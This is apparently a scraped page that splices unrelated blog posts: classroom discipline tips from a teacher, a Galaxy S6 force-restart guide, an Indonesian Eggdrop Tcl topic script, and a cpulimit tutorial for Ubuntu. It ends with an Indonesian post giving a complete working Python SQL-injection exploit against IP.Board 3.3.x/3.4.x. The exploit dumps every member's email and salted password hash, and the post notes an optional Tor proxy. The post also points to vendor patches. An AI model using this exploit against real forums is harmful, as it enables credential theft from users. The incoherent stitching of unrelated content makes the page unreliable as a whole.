I also often give my students choices if they misbehave, if you continue with that behaviour, that is fine but there is a consequence of staying with me after class. Often then they will choose not to do that unless in some occasions they will feel very strong and continue, you then keep you words, keep them in and do the restorative questions with them. I also use counting system, I count to them, they will be quiet or I will write a minute on the board, that means, they will stay behind with me.

I do not need to keep many in as they know me very well to follow up, so before ten, I got the class quiet and listening. Encouragement is a must, often with eye contact and give them positive comments such as good job on your writing, you write thoroughly, great display of friendship etc.

You have to be fair and firm. I bribe my students too with lollies and chocolate or stickers.  I engage my classes with funny youtube videos and often with my homeroom we play games to build teamwork. It can be an easy game such as guess what numbers I am thinking.  To zenga, or team games by the way I am only teaching Year 7 and 8 this year so they are still transitioning between primary to high school.

With seniors, I am not as strict as younger level as they often show maturity. This how a teacher facing kids at Schools with Restorative Practise (1)

Source: A teacher at Melbourne

http://www.education.vic.gov.au/about/programs/bullystoppers/Pages/methodrestorative.aspx

 

How to Force Power Off / Restart Galaxy S6 and S6 Edge

If you find yourself in a situation where your Galaxy S6, or the Galaxy S6 Edge SM-G925i, stops responding to touches, like when device is hung, then you need a way to get out of such predicament. Well, pulling out of battery has been our easy way out usually, but with Galaxy S6 and S6 Edge SM-G925i, you cannot do that because the battery is now non-removable. So, what do you do? Well, you simply force the Galaxy S6 or S6 Edge SM-G925i to restart by using a combination of power and volume keys. Here’s how, it’s pretty simple.

Well, it doesn’t need telling but still, know that you’ve got the power button on the right edge while volume buttons on the left.

How to Force Power Off / Restart Galaxy S6 and S6 Edge

What you need to do is, simply press and hold both Volume Down + Power together until screen of your Galaxy S6 or S6 Edge SM-G925i goes off, which means it’s responding to our combination of buttons and is has been successfully forced to restart.

That’s it — Volume Down + Power button does the trick. You may need to hold them for over 5-6 seconds, my Galaxy S6 Edge restarted within within 5-6 seconds. Yours should, too.

Situations which may require you to go for force reboot:

  • An app stops responding and doesn’t let you get out of it
  • Device stops responding, it hangs because of software bug
  • Constant force closes from an app
  • You’re not in Android mode, that is, you’re in download mode, whether intentionally or not
  • Any other case where you can’t use your Galaxy S6 or S6 Edge and are left to reboot to fix the problem

UNO.tcl Eggdrop Auto set topic Top 3 plus reminder

Game ini berada di irc. irc.ayochat.or.id chan #ayouno. Planningnya sih hapus scores reset bulanan, bot nya mo dibikin auto reset jam 23:59 hari minggu, senin udah score baru, update topic berapa hari lagi akan reset, set topic juara 1 sampai 3, save scores ke file uno.bulan.unomingguan trus adain command last winner dengan command !lastwinners .. bakal kebanyakan google ini.. ‪#‎tcleggdrop‬ kqkqk ancient game.. ‪#‎uno‬

Dan ternyata berhasil, dah push ke https://raw.githubusercontent.com/valendono/TCL-Eggdrop/master/autotopic.tcl

# oleh dono 20150115 irc.ayochat.or.id
bind cron - {* * * * *} cron:week

proc cron:week {min hour day month weekday} {
        global shelltime_setting
        if {![botisop #minangcrew]} {return 0}
        if {[string trimleft $min 0] == 59 && [string trimleft $hour 0] == 23} {
  switch [string trimleft $weekday 0]  {
    "1" { puthelp "TOPIC #minangcrew : \00308,01 6 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "2" { puthelp "TOPIC #minangcrew : \00309,01 5 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "3" { puthelp "TOPIC #minangcrew : \00311,01 4 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "4" { puthelp "TOPIC #minangcrew : \00313,01 3 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "5" { puthelp "TOPIC #minangcrew : \00304,01 2 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "6" { puthelp "TOPIC #minangcrew : \00300,01 1 hari lagi - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)] \003" }
    "7" {
    putserv "PRIVMSG #minangcrew :Score akan di reset dalam 1 menit"
    puthelp "TOPIC #minangcrew : \00301,08 Hari Minggu - Auto Update Topic Testing - [clock format [clock seconds] -timezone :Asia/Jakarta -format $shelltime_setting(format)]"
        }

    }
  }
}

#NB: Aktifkan jam.tcl untuk mendapatkan shelltime_setting
# 1 = Senin ... 7 = Minggu

Bisa dikembangkan lebih lanjut… tested di chan #minangcrew – Baca Eggdrop Auto set topic Top 3 plus reminder

How to limit CPU usage with CPULimit on Ubuntu Linux

Version 1.0

Author: Srijan Kishore
Last edited 25/Aug/2014

This document describes how to limit CPU usage in Ubuntu 14.04. I will use CPU-limit utilty for this purpose. Cpulimit is a tool which limits the CPU usage of a process (expressed in percentage, not in CPU time). It is useful to control batch jobs, when you don’t want them to eat too many CPU cycles. The goal of cpulimit is to prevent a process from running for more than a specified time ratio. It does not change the nice value or other scheduling priority settings, but the real CPU usage. Also, it is able to adapt itself to the overall system load, dynamically and quickly.
The control of the used CPU amount is done sending SIGSTOP and SIGCONT POSIX signals to processes.
All the children processes and threads of the specified process will share the same percentage of CPU.

1 Preliminary Note

This tutorial is based on Ubuntu 14.04 server, so you should set up a basic Ubuntu 14.04 server installation before you continue with this tutorial. The system should have a static IP address. I use 192.168.0.100 as my IP address in this tutorial and server1.example.com as the hostname.

2 Installation

Firstly we need to install cpulimit as follows:

apt-get update
apt-get install cpulimit

3 Limiting CPU usage

Now we will check the utility for limiting the CPU usage. For this we will first check the CPU usage without cpulimit and then implement the cpulimit to evaluate the same. Lets make it clear with the example.

  1. Here is an example of how to utilize your CPU with an application in single core CPU:

dd if=/dev/zero of=/dev/null &

root@server1:~# dd if=/dev/zero of=/dev/null &
[1] 1850
root@server1:~#

Then we will check the CPU usage with command:

top

top – 11:24:18 up 49 min,  1 user,  load average: 0.94, 1.02, 1.79
Tasks: 249 total,   2 running, 247 sleeping,   0 stopped,   0 zombie
%Cpu(s): 13.4 us, 11.6 sy,  0.0 ni, 74.9 id,  0.0 wa,  0.1 hi,  0.0 si,  0.0 st
KiB Mem:   1010540 total,   271652 used,   738888 free,    21760 buffers
KiB Swap:  1048572 total,        0 used,  1048572 free.   158204 cached Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1850 root      20   0    7224    616    520 R 100.0  0.1   1:20.33 dd
1851 root      20   0   24952   1756   1180 R   0.3  0.2   0:00.03 top
1 root      20   0   33480   2776   1456 S   0.0  0.3   0:05.31 init
2 root      20   0       0      0      0 S   0.0  0.0   0:00.01 kthreadd

As we can see that CPU usage have gone 100%, now we will use the cpulimit to limit the CPU usage. We can bring up this process to foreground using fg and cancel it with CTRL+C

fg

root@server1:~# fg
dd if=/dev/zero of=/dev/null
^C222182151+0 records in
222182150+0 records out
113757260800 bytes (114 GB) copied, 259.084 s, 439 MB/s

root@server1:~#

Now we can test cpulimit to see if it actually does what it is supposed to. Let test it as follows:

cpulimit -l 30 dd if=/dev/zero of=/dev/null &

root@server1:~# cpulimit -l 30 dd if=/dev/zero of=/dev/null &
[1] 1852
root@server1:~# Process 1853 detected

[1]+  Done                    cpulimit -l 30 dd if=/dev/zero of=/dev/null
root@server1:~#

Now we will check the CPU usage with top command:

top

top – 11:30:54 up 55 min,  1 user,  load average: 0.20, 0.58, 1.34
Tasks: 250 total,   2 running, 247 sleeping,   1 stopped,   0 zombie
%Cpu(s):  4.5 us,  4.1 sy,  0.0 ni, 91.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:   1010540 total,   271944 used,   738596 free,    21816 buffers
KiB Swap:  1048572 total,        0 used,  1048572 free.   158212 cached Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1853 root      20   0    7224    612    520 T  33.8  0.1   0:35.53 dd
1 root      20   0   33480   2776   1456 S   0.0  0.3   0:05.37 init
2 root      20   0       0      0      0 S   0.0  0.0   0:00.01 kthreadd
3 root      20   0       0      0      0 S   0.0  0.0   0:00.02 ksoftirqd/0
4 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kworker/0:0

Now you can see  that the CPU usage have decreased from 100% to 33.8% almost 30%. So we have successfully checked the utility cpulimit which is able to limit the usage of CPU consumption in a single core Ubuntu distro.

  1. Here is an example of how to utilize your CPU with an application in multiple core CPU:

For checking your CPU core use the command:

nproc

 In my case it is CPU core count was 4.
Now we will proceed to check the CPU usage without cpulimit in all 4 cores for the an application as follows:

for j in `seq 1 4`; do dd if=/dev/zero of=/dev/null & done

It will run the command utilizing all the cores and yeild the output as:

root@server1:~# for j in `seq 1 4`; do dd if=/dev/zero of=/dev/null & done
[1] 1263
[2] 1264
[3] 1265
[4] 1266
root@server1:~#

Now check the CPU usage with top command:

top

top – 11:47:45 up 4 min,  1 user,  load average: 3.63, 1.53, 0.57
Tasks: 290 total,   5 running, 285 sleeping,   0 stopped,   0 zombie
%Cpu0  : 48.3 us, 51.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.3 hi,  0.0 si,  0.0 st
%Cpu1  : 47.8 us, 52.2 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  : 53.3 us, 46.4 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.3 hi,  0.0 si,  0.0 st
%Cpu3  : 52.0 us, 48.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:   1010540 total,   209712 used,   800828 free,    20276 buffers
KiB Swap:  1048572 total,        0 used,  1048572 free.    93632 cached Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1263 root      20   0    7224    612    520 R 100.0  0.1   2:21.40 dd
1264 root      20   0    7224    616    520 R 100.0  0.1   2:21.41 dd
1265 root      20   0    7224    612    520 R  99.0  0.1   2:21.03 dd
1266 root      20   0    7224    616    520 R  98.0  0.1   2:20.82 dd
1281 root      20   0  104416   3992   2920 S   1.0  0.4   0:00.03 sshd
1283 root      20   0  104416   3988   2920 S   1.0  0.4   0:00.03 sshd
1279 root      20   0  104556   4008   2924 S   0.7  0.4   0:00.08 sshd    

The dd command is consuming almost 100% CPU of all the cores.  Next we will check the command with the cpulimit utility. For this kill previous traces for the dd command as follows:

killall dd




root@server1:~# killall dd
[1]   Terminated              dd if=/dev/zero of=/dev/null
[3]-  Terminated              dd if=/dev/zero of=/dev/null
[2]-  Terminated              dd if=/dev/zero of=/dev/null
[4]+  Terminated              dd if=/dev/zero of=/dev/null
root@server1:~#

Now use cpulimit with the same command as follows:

for j in `seq 1 4`; do cpulimit -l 20 dd if=/dev/zero of=/dev/null & done

root@server1:~# for j in `seq 1 4`; do cpulimit -l 20 dd if=/dev/zero of=/dev/null & done
[1] 1429
[2] 1430
[3] 1431
[4] 1432
root@server1:~# Process 1434 detected
Process 1433 detected
Process 1437 detected
Process 1439 detected

[1]   Done                    cpulimit -l 20 dd if=/dev/zero of=/dev/null
[2]   Done                    cpulimit -l 20 dd if=/dev/zero of=/dev/null
[3]-  Done                    cpulimit -l 20 dd if=/dev/zero of=/dev/null
[4]+  Done                    cpulimit -l 20 dd if=/dev/zero of=/dev/null
root@server1:~#

Now check the CPU usage wit the cpulimit utility.

top

top – 11:59:10 up 16 min,  2 users,  load average: 0.47, 0.71, 0.81
Tasks: 256 total,   2 running, 251 sleeping,   3 stopped,   0 zombie
%Cpu0  :  2.0 us,  2.0 sy,  0.0 ni, 96.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  : 26.2 us, 22.8 sy,  0.0 ni, 50.7 id,  0.0 wa,  0.3 hi,  0.0 si,  0.0 st
%Cpu2  : 14.0 us, 12.3 sy,  0.0 ni, 73.8 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  : 13.3 us, 11.6 sy,  0.0 ni, 75.1 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:   1010540 total,   204064 used,   806476 free,    20408 buffers
KiB Swap:  1048572 total,        0 used,  1048572 free.    98340 cached Mem

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1433 root      20   0    7224    612    520 T  28.2  0.1   0:12.00 dd
1439 root      20   0    7224    616    520 R  26.6  0.1   0:12.13 dd
1434 root      20   0    7224    612    520 T  25.3  0.1   0:11.97 dd
1437 root      20   0    7224    612    516 T  22.9  0.1   0:11.93 dd
7 root      20   0       0      0      0 S   0.3  0.0   0:00.22 rcu_sched
8 root      20   0       0      0      0 S   0.3  0.0   0:00.21 rcuos/0      

As you can see above that the CPU usage is limited from 100%  to 20% almost for multiple core CPUs.

Congratulations! We have successfully tested the cpulimit for limiting the CPU usage in Ubuntu 14.04 🙂

4 Links

IPBoard SQL Injection

Baru-baru ini IP.Board mengalami vuln / hole security yang cukup besar pada tanggal 10 November 2014 lalu. Bagi para owner forum khusus nya IPB / Invision Powerboard 3.3.x dan 3.4.x silahkan patch langsung dengan men download file attachment dibawah ini

Versi 3.4.x : 3_4_x_patch_nov_14
Versi 3.3.x: 3_3_x_patch_nov_14

IP.Board versions 3.3.X 3.4.X and below suffer from a remote SQL injection vulnerability.

#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway@safe-mail.net
# IP.Board <= 3.4.7 SQLi (blind, error based);
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

url = 'http://target.tld/forum/'
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

import sys, re

# <socks> - http://sourceforge.net/projects/socksipy/
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>

import urllib2, urllib

def inject(sql):
try:
urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
except urllib2.HTTPError, e:
if e.code == 503:
data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
if txt is not None:
return txt.group(1)
sys.exit('Error [3], received unexpected data:\n%s' % data)
sys.exit('Error [1]')
sys.exit('Error [2]')

def get(name, table, num):
sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
s = int(inject('LENGTH((%s))' % sqli))
if s < 31:
return inject(sqli)
else:
r = ''
for i in range(1, s+1, 31):
r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
return r

n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):
print get('member_id', 'members', j)
print get('name', 'members', j)
print get('email', 'members', j)
print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
print '----------------'

Those IP.Board SQL Injection information for educational purposes only.